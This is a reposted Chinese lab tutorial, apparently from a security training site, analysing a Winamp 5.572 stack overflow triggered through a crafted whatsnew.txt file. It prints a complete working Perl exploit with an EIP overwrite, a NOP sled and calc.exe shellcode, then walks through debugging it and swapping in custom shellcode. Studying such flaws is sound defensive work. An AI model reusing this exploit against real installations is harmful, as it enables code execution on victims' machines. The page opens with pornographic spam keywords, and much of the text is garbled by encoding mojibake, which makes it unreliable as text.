日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Winamp栈溢出漏洞研究【转载】

發(fā)布時間:2023/12/29 编程问答 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Winamp栈溢出漏洞研究【转载】 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

課程簡介

Winamp是一款非常經(jīng)典的音樂播放軟件,它于上世紀(jì)九十年代后期問世。與現(xiàn)在音樂播放軟件行業(yè)百家爭鳴的情況不同,當(dāng)時可以說Winamp就是聽音樂的唯一選擇了,相信那個時代的電腦玩家是深有體會的。而時至今日,依然有一批忠實的Winamp粉絲還在堅守著這塊陣地,這也就說明了這款播放器依舊是有很強(qiáng)的生命力。 但是,這款軟件的漏洞也是挺多的,五花八門,涵蓋了很多方面。而我們這次所討論的就是這款軟件在讀取whatsnew.txt,也就是更新歷史文件時出現(xiàn)的緩沖區(qū)溢出漏洞。 課程介紹
  • 實驗環(huán)境:
  • 操作機(jī):?Windows XP
  • 實驗工具:
Tools Path
WinHex C:\Tools\WinHex
OllyICE C:\Tools\OllyICE
  • 實驗文件:
  • Winamp
  • ShellCode.c
學(xué)習(xí)將自己的 ShellCode植入POC文件中。 實驗步驟 ?? 第一步 下載實驗工具 請訪問http://tools.ichunqiu.com/62105285下載實驗文件。 i提示
  • 在本次實驗中,請注意實驗工具、實驗文件存放路徑,不同的文件路徑可能會出現(xiàn)不一樣的實
驗結(jié)果。
  • 在實驗環(huán)境中無法連接互聯(lián)網(wǎng),請使用您本地的網(wǎng)絡(luò)環(huán)境。
快速查找實驗工具
  • 打開桌面?Everything?搜索工具,輸入實驗工具名稱,右擊選擇“打開路徑”,跳轉(zhuǎn)實驗工
具所在位置。
  • 以查找BURP為例為大家演示。
?? ?? 第二步 漏洞重現(xiàn) 正常的whatsnew.txt文件位于Winamp文件夾中,保存的是軟件的更新歷史信息。我們?yōu)榱酥噩F(xiàn) 漏洞,需要將特殊構(gòu)造的whatsnew.txt覆蓋掉原始的txt文件。然后打開Winamp,在菜單欄的 HELP中選擇“About Winamp ?? 在彈出的對話框中選擇“Version history”: ?? 于是就觸發(fā)了漏洞。但是按照說明,利用網(wǎng)上找到的這個whatsnew.txt文件是可以打開計算器 程序的,但是我在實際測試的時候,有時可以打開,有時卻不行。其實這很正常,網(wǎng)上所找到的 很多的漏洞利用的文件本身往往是存在著各種各樣的問題的,因此我們在這里有必要親自動手來 調(diào)試一下,弄清楚這個txt文件的漏洞利用原理。 ?? 第三步 漏洞利用代碼分析 既然我們已經(jīng)觸發(fā)了漏洞,那么我們可以進(jìn)一步分析一下漏洞出現(xiàn)的原因。查看一下它的POC代碼 ,是利用Perl語言編寫的: my $version = "Winamp 5.572"; my $junk = "\x41" x 540; my $eip = "\xad\x86\x0e\x07"; # overwrite EIP - 070E86AD FFD4 CALL ESP nde.dll my $nop = "\x90" x 100; my $shellcode = # windows/exec cmd=calc.exe "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49". "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x48\x5a\x6a\x47". "\x58\x30\x42\x31\x50\x42\x41\x6b\x42\x41\x57\x42\x32\x42\x41\x32". "\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x78\x69\x6b\x4c\x6a". "\x48\x53\x74\x67\x70\x67\x70\x75\x50\x4e\x6b\x53\x75\x65\x6c\x6e". "\x6b\x51\x6c\x46\x65\x70\x78\x43\x31\x68\x6f\x4e\x6b\x30\x4f\x54". "\x58\x6e\x6b\x73\x6f\x57\x50\x67\x71\x58\x6b\x77\x39\x4c\x4b\x64". "\x74\x6c\x4b\x57\x71\x5a\x4e\x76\x51\x49\x50\x6e\x79\x6e\x4c\x4f". "\x74\x4b\x70\x70\x74\x37\x77\x69\x51\x48\x4a\x64\x4d\x43\x31\x4f". "\x32\x7a\x4b\x48\x74\x55\x6b\x72\x74\x34\x64\x77\x74\x70\x75\x4d". "\x35\x6c\x4b\x71\x4f\x75\x74\x36\x61\x48\x6b\x41\x76\x4c\x4b\x44". "\x4c\x70\x4b\x4e\x6b\x63\x6f\x55\x4c\x33\x31\x68\x6b\x4e\x6b\x35". "\x4c\x4e\x6b\x34\x41\x6a\x4b\x6c\x49\x33\x6c\x35\x74\x64\x44\x4a". "\x63\x34\x71\x4b\x70\x63\x54\x6e\x6b\x71\x50\x76\x50\x4f\x75\x4b". "\x70\x72\x58\x74\x4c\x4c\x4b\x77\x30\x76\x6c\x4c\x4b\x44\x30\x57". "\x6c\x6c\x6d\x6e\x6b\x75\x38\x54\x48\x58\x6b\x73\x39\x6e\x6b\x4b". "\x30\x4e\x50\x37\x70\x67\x70\x37\x70\x6c\x4b\x62\x48\x45\x6c\x63". "\x6f\x35\x61\x39\x66\x35\x30\x50\x56\x4d\x59\x48\x78\x6e\x63\x59". "\x50\x43\x4b\x66\x30\x43\x58\x68\x70\x6f\x7a\x43\x34\x33\x6f\x73". "\x58\x4f\x68\x6b\x4e\x6d\x5a\x46\x6e\x72\x77\x6b\x4f\x78\x67\x63". "\x53\x62\x41\x30\x6c\x55\x33\x64\x6e\x42\x45\x70\x78\x32\x45\x33". "\x30\x47"; open (myfile,'>> whatsnew.txt'); print myfile $version.$junk.$eip.$nop.$shellcode; print "[+] whatsnew.txt written.\n"; print "[ ] Now copy it to your winamp folder...\n"; print "[ ] Run winamp and hit [About Winamp]->[Version History]\n"; 首先看一下倒數(shù)第四條語句,它其實是漏洞利用的代碼的格式,一共是五塊內(nèi)容,即`version +junk+eip+nop+shellcode`。其中的version是當(dāng)前軟件的版本,這里是5.572版;junk是一段 填充代碼,這里是5400x41,也就是大寫字母A,填充的作用就是為了接下來的返回地址的`覆蓋 eip則是我們將要覆蓋的返回地址`,這里是0x070e86adnop位置是1000x90;最后就是 ShellCode代碼了。 ?? 第四步 漏洞的調(diào)試 為了調(diào)試這個漏洞,我們可以結(jié)合構(gòu)造好的whatsnew.txt進(jìn)行。首先是定位漏洞出現(xiàn)的位置, 然后在相應(yīng)的位置下斷點進(jìn)行分析。我們以前的做法是在類似于strcpy這一類的函數(shù)上下斷點 ,然后逐個斷點進(jìn)行分析,或者在類似于fopen這樣的函數(shù)上下斷點。當(dāng)然方法是五花八門的,不 管是哪種方法,基本都是可以達(dá)到目的的。那么針對于這次的程序來說,既然我們已經(jīng)知道程序 會打開whatsnew.txt這個文件,那么不妨在程序中查找一下這個字符串,然后再進(jìn)行分析。 首先利用OD載入winamp.exe程序,在反匯編代碼區(qū)域單擊鼠標(biāo)右鍵,選擇“查找”中的** “所有參考文本字串”**: ?? 之后選擇最上面的條目,表示從最開始位置進(jìn)行搜索。單擊鼠標(biāo)右鍵,選擇“查找文本” 輸入我們要查找的字符串名稱“whatsnew.txt”,再單擊確定: ?? 其實這里一共可以搜索出兩個結(jié)果,那么接下來我們可以分別查看一下這兩處語句??赡苓@兩處 語句本身并不是fopen函數(shù)的參數(shù)語句,不過沒有關(guān)系,相信距離fopen也不會太遠(yuǎn)。首先雙擊 第一個結(jié)果,來到其反匯編代碼的位置,然后在該位置上下觀察一下,就可以找到疑似文件打開 語句的位置了: ?? 可以先在0x004015EE處下一個斷點,然后按F9讓程序運(yùn)行起來,依據(jù)之前講過的步驟來觸發(fā)漏 洞,于是程序就停在了0x004015EE的位置。這里最開始是利用malloc語句申請大小為0x20000 的內(nèi)存空間,返回值就是所分配的空間的地址,我這里是0x0286C008。之后調(diào)用wfopen來打開 whatsnew.txt文件。再調(diào)用fread函數(shù): ?? 通過分析這個函數(shù)的參數(shù)可以知道,fread函數(shù)會將文件內(nèi)容讀入剛才所分配的空間中。然后利用 strncmp函數(shù)進(jìn)行比對: ?? 可見,這里是在驗證所讀取的whatsnew.txt文件的最開始9個字符是否為“Winamp 5.”驗證通 過才能夠進(jìn)行下一步的操作。這也就說明了,為什么需要在漏洞利用的代碼中,添加`“version ”`的信息。然后就來到了最重要的字符串拷貝函數(shù)的位置: ?? 這里是將從whatsnew.txt文件讀取出來的內(nèi)容拷貝到地址為0x00BDEBAC的位置中。我們可以按 F8步過這個函數(shù)來看一下: ?? 可見當(dāng)前的??臻g中已經(jīng)寫入了我們編寫的whatsnew.txt文件的內(nèi)容,而0x00BDEDD4中保存的 正是我們所覆蓋地址,這是原始的返回地址的位置。那么直接執(zhí)行到返回地址的位置查看一下: ?? 可以看到程序使用的是call esp的方法,此時的esp所保存的地址為0x00BDEDE8,正好落在了 0x90也就是nop的區(qū)段中,在這些0x90的后面,就是ShellCode了。 這里我們的目的不是弄清楚原始ShellCode為什么有時能夠執(zhí)行有時卻不能夠執(zhí)行,大家有興趣 的話可以自行研究,我們這里不妨將之前我們一直使用的ShellCode植入,看看能不能達(dá)到預(yù)期的 效果??梢允褂檬M(jìn)制編輯工具對whatsnew.txt進(jìn)行編輯: ?? 那么再嘗試觸發(fā)漏洞: ?? 可見我們的利用是成功的。 ?? 第五步 小結(jié) 這次我們所討論的是建立在他人ShellCode代碼基礎(chǔ)上的漏洞分析??梢娂幢闶乔拜吀呷说拇a ,也不見得就很管用。因此這就需要我們不斷地進(jìn)行嘗試與研究,將他人的思想學(xué)到手,才能夠 不斷地提高。

總結(jié)

以上是生活随笔為你收集整理的Winamp栈溢出漏洞研究【转载】的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。